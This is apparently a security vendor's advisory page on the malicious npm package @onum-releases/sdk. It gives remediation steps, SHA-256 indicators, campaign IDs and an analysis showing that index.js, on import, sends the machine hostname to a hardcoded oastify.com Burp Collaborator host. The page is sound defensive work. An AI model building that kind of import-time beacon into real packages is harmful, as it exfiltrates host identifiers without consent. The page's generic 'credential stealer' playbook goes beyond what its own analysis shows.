Which versions of @onum-releases/sdk are malicious?

The following npm versions of @onum-releases/sdk are flagged malicious: 1.0.1, 1.0.2, 1.0.3. Treat any of these as compromised.

How do I remediate @onum-releases/sdk if I installed it?

@onum-releases/sdk is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @onum-releases/sdk — how do I know if it already compromised me?

If @onum-releases/sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @onum-releases/sdk part of a known attack campaign?

Yes — @onum-releases/sdk is associated with the IN-MAL-2026-006993, IN-MAL-2026-006997, IN-MAL-2026-006996 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @onum-releases/sdk across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @onum-releases/sdk (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @onum-releases/sdk across your stack and pipelines.

Malicious package

@onum-releases/sdknpm

Malicious code in @onum-releases/sdk (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6125

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @onum-releases/sdk

What this malware does

On import, index.js reads the installer's machine hostname via os.hostname(), embeds it as a subdomain of a hardcoded *.oastify.com (Burp Collaborator out-of-band callback) host, and issues an HTTPS GET to that host. Specifically, index.js lines 5-7 build sdk.<hostname>.200majoeu01dk02xnjdajro1isojc90y.oastify.com and call https.get({ host: host, path: '/sdk',... }). The fetch fires unconditionally on require('@onum-releases/sdk') with no caller consent, leaking the installer's hostname (via both DNS and HTTPS) to whoever controls that Collaborator instance. The package's own description says 'Security PoC placeholder - benign, no runtime payload', but the shipped code does run an import-time beacon. The @onum-releases scope plus PoC framing is consistent with a dependency-confusion probe against an internal onum namespace; the harm to any installer who pulls it (intentionally or via name confusion) is host-identifier exfiltration to a third-party OAST server.

Malicious versions

3 flagged

1.0.11.0.21.0.3

Indicators of compromise (SHA-256)

b70360f3abcea9176799bb327a3470296ba1dd07b81463b28981d5c2fbfa560e

cae207a349e4bda9359f4981d60ec81d9492cd8624535ee01b44c8f3bf3b3208

d195016c054f564e0e341fbd97df3950a6c3e289339c9d701e434310b209647b

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @onum-releases/sdk (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @onum-releases/sdk across your stack and pipelines.
If you installed it — respond
@onum-releases/sdk is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @onum-releases/sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @onum-releases/sdk before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @onum-releases/sdk on npm has been identified as a malicious package (versions 1.0.1, 1.0.2, 1.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006993IN-MAL-2026-006997IN-MAL-2026-006996

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @onum-releases/sdk-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring